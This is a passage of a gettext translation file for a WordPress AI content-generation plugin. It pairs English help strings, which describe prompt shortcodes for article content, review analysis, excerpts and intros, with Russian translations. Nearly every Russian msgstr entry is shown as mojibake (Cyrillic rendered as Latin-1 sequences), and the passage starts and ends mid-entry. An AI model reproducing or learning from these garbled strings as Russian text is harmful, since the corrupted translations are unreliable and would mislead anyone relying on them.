%%post_link%%. The " #| "length of this command should not be greater than the max token count set " #| "in the settings for the prompt command - Update: nested shortcodes also " #| "supported (shortcodes generated by rules from other plugins). You can " #| "also add here a link to a .txt file, where you can add multiple prompts " #| "(one per line) and the plugin will select a random one at each run. You " #| "will also be able to use the custom shortcodes defined in the 'Custom " #| "Shortcode Creator' feature from the rule settings - this will allow you " #| "to create partially or fully AI generated prompts which will be used for " #| "the content generators." msgid "" "Prompt to be used for the Content of the article, which will be applied to " "each section heading generated by the plugin (or entered manually) or to the " "entire content (depending how you select using the 'Use the Above Content " "Prompt To Create The Entire Article' checkbox). You can use the following " "shortcodes: %%all_product_titles%%, %%all_product_info%%, %%product_title%%," " %%product_description%%, %%language%%, %%product_author%%, " "%%product_brand%%, %%product_isbn%%, %%product_upc%%, %%offer_url%%, " "%%offer_price%%, %%product_list_price%%, %%offer_img%%, %%product_reviews%%, " "%%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, " "%%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%product_imgs_html%%, %%price_with_discount_fixed%%, " "%%first_hand_experience_prompt%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%current_section%%, %%paragraphs_per_section%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested " "shortcodes also supported (shortcodes generated by rules from other plugins)." " You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° Ñтатьи, который будет " "применÑÑ‚ÑŒÑÑ Ðº каждому заголовку раздела, Ñозданному плагином (или введенному " "вручную) или ко вÑему контенту (в завиÑимоÑти от того, как вы выберете " "иÑпользование «ИÑпользовать указанный выше Промпт к контенту Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ " "вÑего контента»). Флажок «СтатьÑ»). Ð’Ñ‹ можете иÑпользовать Ñледующие " "короткие коды:%%all_product_titles%%, %%all_product_info%%, " "%%product_title%%, %%product_description%%, %%language%%, %%product_author%%," " %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%offer_url%%, " "%%offer_price%%, %%product_list_price%%, %%offer_img%%, %%product_reviews%%, " "%%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, " "%%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%product_imgs_html%%, %%price_with_discount_fixed%%, " "%%first_hand_experience_prompt%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%current_section%%, %%paragraphs_per_section%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Обновление : " "также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, Ñозданные по " "правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные " "короткие коды, определенные в функции «Создатель пользовательÑких коротких " "кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или " "полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ " "генераторов контента." #: res/aiomatic-amazon-list.php:932 res/aiomatic-single-list.php:5140 #, php-format #| msgid "" #| "Add a context to the AI chatbot, so it knows how to act and how to " #| "respond to customers. You can define here the language, tone of voice and " #| "role of the AI assistant. Any other settings will also be able to be " #| "defined here. This text will be preppended to each conversation, to teach " #| "the AI some additional info about you or its behavior. This text will not " #| "be displayed to users, it will be only sent to the chatbot. You can also " #| "use shortcodes in this field. List of supported shortcodes: " #| "%%post_title%%, %%post_content%%, %%post_content_plain_text%%, " #| "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " #| "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " #| "%%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, " #| "%%user_display_name%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%," #| " %%user_url%%, %%user_description%%. You can also use custom fields (post " #| "meta) that it's assigned to posts using custom shortcodes in this format: " #| "%%!custom_field_slug!%%. Example: if you wish to add data that is " #| "imported from the custom field post_data, you should use this shortcode: " #| "%%!post_data!%%. The length of this command should not be greater than " #| "the max token count set in the settings for the seed command - Update: " #| "nested shortcodes also supported (shortcodes generated by rules from " #| "other plugins). Example of prompt to pretain the AI --- Article: " #| "\"%%post_content%%\" \n" #| "\n" #| " Discussion: \n" #| "\n" msgid "" "Prompt to be used for the Content of the article, which will be applied to " "each section heading generated by the plugin (or entered manually) or to the " "entire content (depending how you select using the 'Use the Above Content " "Prompt To Create The Entire Article' checkbox). You can use the following " "shortcodes: %%all_product_titles%%, %%all_product_info%%, %%product_title%%," " %%product_description%%, %%product_author%%, %%product_brand%%, " "%%product_isbn%%, %%product_upc%%, %%offer_url%%, %%offer_price%%, " "%%product_list_price%%, %%offer_img%%, %%product_reviews%%, " "%%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, " "%%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%product_imgs_html%%, %%price_with_discount_fixed%%, " "%%first_hand_experience_prompt%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%current_section%%, " "%%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° Ñтатьи, который будет " "применÑÑ‚ÑŒÑÑ Ðº каждому заголовку раздела, Ñозданному плагином (или введенному " "вручную) или ко вÑему контенту (в завиÑимоÑти от того, как вы выберете " "иÑпользование «ИÑпользовать указанный выше Промпт к контенту Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ " "вÑего контента»). Флажок «СтатьÑ»). Ð’Ñ‹ можете иÑпользовать Ñледующие " "короткие коды:%%all_product_titles%%, %%all_product_info%%, " "%%product_title%%, %%product_description%%, %%product_author%%, " "%%product_brand%%, %%product_isbn%%, %%product_upc%%, %%offer_url%%, " "%%offer_price%%, %%product_list_price%%, %%offer_img%%, %%product_reviews%%, " "%%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, " "%%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%product_imgs_html%%, %%price_with_discount_fixed%%, " "%%first_hand_experience_prompt%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%current_section%%, " "%%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Обновление : также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды " "(короткие коды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете " "иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель " "пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам " "Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-review-list.php:3574 #, php-format msgid "" "Prompt to be used for the Content of the article, which will be applied to " "each section heading generated by the plugin (or entered manually) or to the " "entire content (depending how you select using the 'Use the Above Content " "Prompt To Create The Entire Article' checkbox). You can use the following " "shortcodes: %%current_section%%, %%product_title%%, %%product_description%%, " "%%language%%, %%all_product_titles%%, %%product_author%%, %%product_brand%%, " "%%product_isbn%%, %%product_upc%%, %%offer_url%%, %%offer_price%%, " "%%product_list_price%%, %%offer_img%%, %%product_reviews%%, " "%%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, " "%%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%product_imgs_html%%, %%price_with_discount_fixed%%, %%writing_style%%, " "%%point_of_view%%, %%writing_tone%%, %%sections%%, " "%%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° Статьи, который будет " "применÑÑ‚ÑŒÑÑ Ðº каждому заголовку раздела, Ñозданному плагином (или введенному " "вручную) или ко вÑему контенту (в завиÑимоÑти от того, как вы выберете " "иÑпользование «ИÑпользовать указанный выше Промпт к контенту Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ " "вÑего контента»). Флажок «СтатьÑ»). Ð’Ñ‹ можете иÑпользовать Ñледующие " "короткие коды:%%current_section%%, %%product_title%%, " "%%product_description%%, %%language%%, %%all_product_titles%%, " "%%product_author%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, " "%%offer_url%%, %%offer_price%%, %%product_list_price%%, %%offer_img%%, " "%%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%review_link%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%product_imgs_html%%, %%price_with_discount_fixed%%, %%writing_style%%, " "%%point_of_view%%, %%writing_tone%%, %%sections%%, " "%%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% — Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды ( " "шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете " "иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель " "пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам " "Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-rules-list.php:909 res/aiomatic-rules-list.php:3661 #: res/aiomatic-single-list.php:1862 #, php-format #| msgid "" #| "Prompt to be used for the Content of the article, which will be applied " #| "to each section heading generated by the plugin (or entered manually) or " #| "to the entire content (depending how you select using the 'Use the Above " #| "Content Prompt To Create The Entire Article' checkbox). You can use the " #| "following shortcodes: %%title%%, %%language%%, %%writing_style%%, " #| "%%writing_tone%%, %%sections%%, %%current_section%%, " #| "%%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, " #| "%%post_original_title%%, %%blog_title%% - Update: nested shortcodes also " #| "supported (shortcodes generated by rules from other plugins). You will " #| "also be able to use the custom shortcodes defined in the 'Custom " #| "Shortcode Creator' feature from the rule settings - this will allow you " #| "to create partially or fully AI generated prompts which will be used for " #| "the content generators." msgid "" "Prompt to be used for the Content of the article, which will be applied to " "each section heading generated by the plugin (or entered manually) or to the " "entire content (depending how you select using the 'Use the Above Content " "Prompt To Create The Entire Article' checkbox). You can use the following " "shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%current_section%%, " "%%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² Контенте Ñтатьи, который будет применÑÑ‚ÑŒÑÑ Ðº " "каждому заголовку Раздела, Ñгенерированному Плагином (или введенному вручную)" ", или ко вÑему контенту (в завиÑимоÑти от того, как вы выберете Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ " "«ИÑпользовать Промпт выше Ñодержимого Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð²Ñего пункт «СтатьÑ»). Ð’Ñ‹ " "можете иÑпользовать Ñледующие Шорткоды: %%название%%, %%Ñзык%%, " "%%Ñтиль_напиÑаниÑ%%, %%тон_напиÑаниÑ%%, %%Разделы%%, %% current_section%%, " "%%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% — обновление: добавлены вложенные " "Шорткоды поддерживаетÑÑ (Шорткоды, Ñгенерированные правилами из других " "Плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, " "определенные в функции «Создание пользовательÑких Шорткодов» в наÑтройках " "правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые AI " "Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента." #: res/aiomatic-single-list.php:3850 res/aiomatic-youtube-list.php:912 #: res/aiomatic-youtube-list.php:3398 #, php-format #| msgid "" #| "Prompt to be used for the Content of the article, which will be applied " #| "to each section heading generated by the plugin (or entered manually) or " #| "to the entire content (depending how you select using the 'Use the Above " #| "Content Prompt To Create The Entire Article' checkbox). You can use the " #| "following shortcodes: %%video_title%%, %%video_descripton%%, " #| "%%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, " #| "%%writing_tone%%, %%sections%%, %%current_section%%, " #| "%%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, " #| "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " #| "generated by rules from other plugins). You will also be able to use the " #| "custom shortcodes defined in the 'Custom Shortcode Creator' feature from " #| "the rule settings - this will allow you to create partially or fully AI " #| "generated prompts which will be used for the content generators." msgid "" "Prompt to be used for the Content of the article, which will be applied to " "each section heading generated by the plugin (or entered manually) or to the " "entire content (depending how you select using the 'Use the Above Content " "Prompt To Create The Entire Article' checkbox). You can use the following " "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%current_section%%, " "%%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Промпт Ð´Ð»Ñ ÑÐ¾Ð´ÐµÑ€Ð¶Ð°Ð½Ð¸Ñ Ñтатьи, который будет применÑÑ‚ÑŒÑÑ Ðº каждому заголовку " "раздела, Ñгенерированному плагином (или введенному вручную), или ко вÑему " "контенту (в завиÑимоÑти от того, как вы выберете флажок чек бокÑа " "'ИÑпользуйте приведенный выше контентный промпт Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð²Ñей Ñтатьи' )." " Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%video_title%%, " "%%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, " "%%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Обновление: также поддерживаютÑÑ " "вложенные шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции " "\"Создатель ПользовательÑких Шорткодов\" из наÑтроек правил - Ñто позволит " "вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-review-list.php:964 res/aiomatic-single-list.php:6469 #, php-format msgid "" "Prompt to be used for the Content of the article, which will be applied to " "each section heading generated by the plugin (or entered manually) or to the " "entire content (depending how you select using the 'Use the Above Content " "Prompt To Create The Entire Article' checkbox). You can use the following " "shortcodes: %current_section%%, %%product_title%%, %%product_description%%, " "%%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%," " %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% -" " Update: nested shortcodes also supported (shortcodes generated by rules " "from other plugins). You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" "Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° Ñтатьи, который будет " "применÑÑ‚ÑŒÑÑ Ðº каждому заголовку раздела, Ñозданному плагином (или введенному " "вручную) или ко вÑему контенту (в завиÑимоÑти от того, как вы выберете " "иÑпользование «ИÑпользовать указанный выше Промпт к контенту Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ " "вÑего контента»). Флажок «СтатьÑ»). Ð’Ñ‹ можете иÑпользовать Ñледующие " "короткие коды: %current_section%%, %%product_title%%, " "%%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, " "%%product_price%%, %%product_list_price%%, %%product_brand%%, " "%%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, " "%%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, " "%%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, " "%%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ " "вложенные короткие коды (короткие коды, Ñозданные по правилам других " "плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, " "определенные в функции «Создатель пользовательÑких коротких кодов» в " "наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью " "Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² " "контента." #: res/aiomatic-review-list.php:1002 res/aiomatic-single-list.php:6507 #, php-format msgid "" "Prompt to be used for the Customer Reviews Analysis section of the article. " "You can use the following shortcodes: %%product_title%%, " "%%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, " "%%product_price%%, %%product_list_price%%, %%product_brand%%, " "%%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, " "%%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, " "%%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, " "%%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Промпт Ð´Ð»Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð² разделе «Ðнализ отзывов клиентов» Ñтатьи. Ð’Ñ‹ " "можете иÑпользовать Ñледующие короткие коды: %%product_title%%, " "%%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, " "%%product_price%%, %%product_list_price%%, %%product_brand%%, " "%%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, " "%%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, " "%%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, " "%%point_of_view%%, %%writing_tone%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%% — Обновление: также поддерживаютÑÑ " "вложенные короткие коды (короткие коды, Ñозданные по правилам других " "плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, " "определенные в функции «Создатель пользовательÑких коротких кодов» в " "наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью " "Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² " "контента." #: res/aiomatic-review-list.php:1154 res/aiomatic-single-list.php:6659 #, php-format msgid "" "Prompt to be used for the excerpt of the article. You can use the following " "shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, " "%%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%," " %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% -" " Update: nested shortcodes also supported (shortcodes generated by rules " "from other plugins). You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" "Промпт иÑпользуемый Ð´Ð»Ñ Ð¾Ñ‚Ñ€Ñ‹Ð²ÐºÐ° Ñтатьи. Ð’Ñ‹ можете иÑпользовать Ñледующие " "короткие коды: %%product_title%%, %%product_description%%, %%aff_url%%, " "%%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%," " %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% " "— Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, " "Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать " "ÑобÑтвенные короткие коды, определенные в функции «Создатель " "пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам " "Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-amazon-list.php:1046 res/aiomatic-single-list.php:5254 #, php-format msgid "" "Prompt to be used for the excerpt of the article. You can use the following " "shortcodes: %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins). You will also be able to use the custom shortcodes defined " "in the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" "Промпт иÑпользуемый Ð´Ð»Ñ Ð¾Ñ‚Ñ€Ñ‹Ð²ÐºÐ° Ñтатьи. Ð’Ñ‹ можете иÑпользовать Ñледующие " "короткие коды: %%search_keywords%%, %%all_product_titles%%, " "%%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% — " "Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ короткие коды (короткие коды, " "Ñозданные правилами других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать " "ÑобÑтвенные короткие коды, определенные в функции «Создатель " "пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам " "Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-rules-list.php:1038 res/aiomatic-single-list.php:1991 #, php-format #| msgid "" #| "Prompt to be used for the excerpt of the article. You can use the " #| "following shortcodes: %%search_keywords%%, %%all_product_titles%%, " #| "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, " #| "%%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: " #| "nested shortcodes also supported (shortcodes generated by rules from " #| "other plugins). You will also be able to use the custom shortcodes " #| "defined in the 'Custom Shortcode Creator' feature from the rule settings -" #| " this will allow you to create partially or fully AI generated prompts " #| "which will be used for the content generators." msgid "" "Prompt to be used for the excerpt of the article. You can use the following " "shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Промпт иÑпользовать Ð´Ð»Ñ ÐнонÑа Статьи. Ð’Ñ‹ можете иÑпользовать Ñледующие " "шорткоды: %%title%%, %%topic%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% — Обновление: также поддерживаютÑÑ " "вложенные шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции " "«Создание ПользовательÑких Шорткодов» в ÐаÑтройках Правил — Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным интеллектом " "Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента." #: res/aiomatic-single-list.php:3979 res/aiomatic-youtube-list.php:1041 #, php-format #| msgid "" #| "Prompt to be used for the excerpt of the article. You can use the " #| "following shortcodes: %%video_title%%, %%video_descripton%%, " #| "%%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, " #| "%%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%," #| " %%blog_title%% - Update: nested shortcodes also supported (shortcodes " #| "generated by rules from other plugins). You will also be able to use the " #| "custom shortcodes defined in the 'Custom Shortcode Creator' feature from " #| "the rule settings - this will allow you to create partially or fully AI " #| "generated prompts which will be used for the content generators." msgid "" "Prompt to be used for the excerpt of the article. You can use the following " "shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Промпт, который будет иÑпользоватьÑÑ Ð´Ð»Ñ Ð²Ñ‹Ð´ÐµÑ€Ð¶ÐºÐ¸ Ñтатьи. Можно иÑпользовать " "Ñледующие шорткоды: %%video_title%%, %%video_descripton%%, %%video_url%%, " "%%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, " "%%blog_title%% - Обновить: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды," " Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать " "пользовательÑкие шорткоды, определенные в функции \"Создатель " "ПользовательÑких Шорткодов\" из наÑтроек правил - Ñто позволит вам Ñоздавать " "чаÑтично или полноÑтью AI-генерируемые промпты, которые будут иÑпользоватьÑÑ " "Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента." #: res/aiomatic-review-list.php:888 res/aiomatic-single-list.php:6393 #, php-format msgid "" "Prompt to be used for the intro of the article. You can use the following " "shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, " "%%product_author%%, %%offer_price%%, %%product_price%%, " "%%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%," " %%product_reviews%%, %%price_numeric%%, %%price_currency%%, " "%%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, " "%%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, " "%%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% -" " Update: nested shortcodes also supported (shortcodes generated by rules " "from other plugins). You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" "Промпт 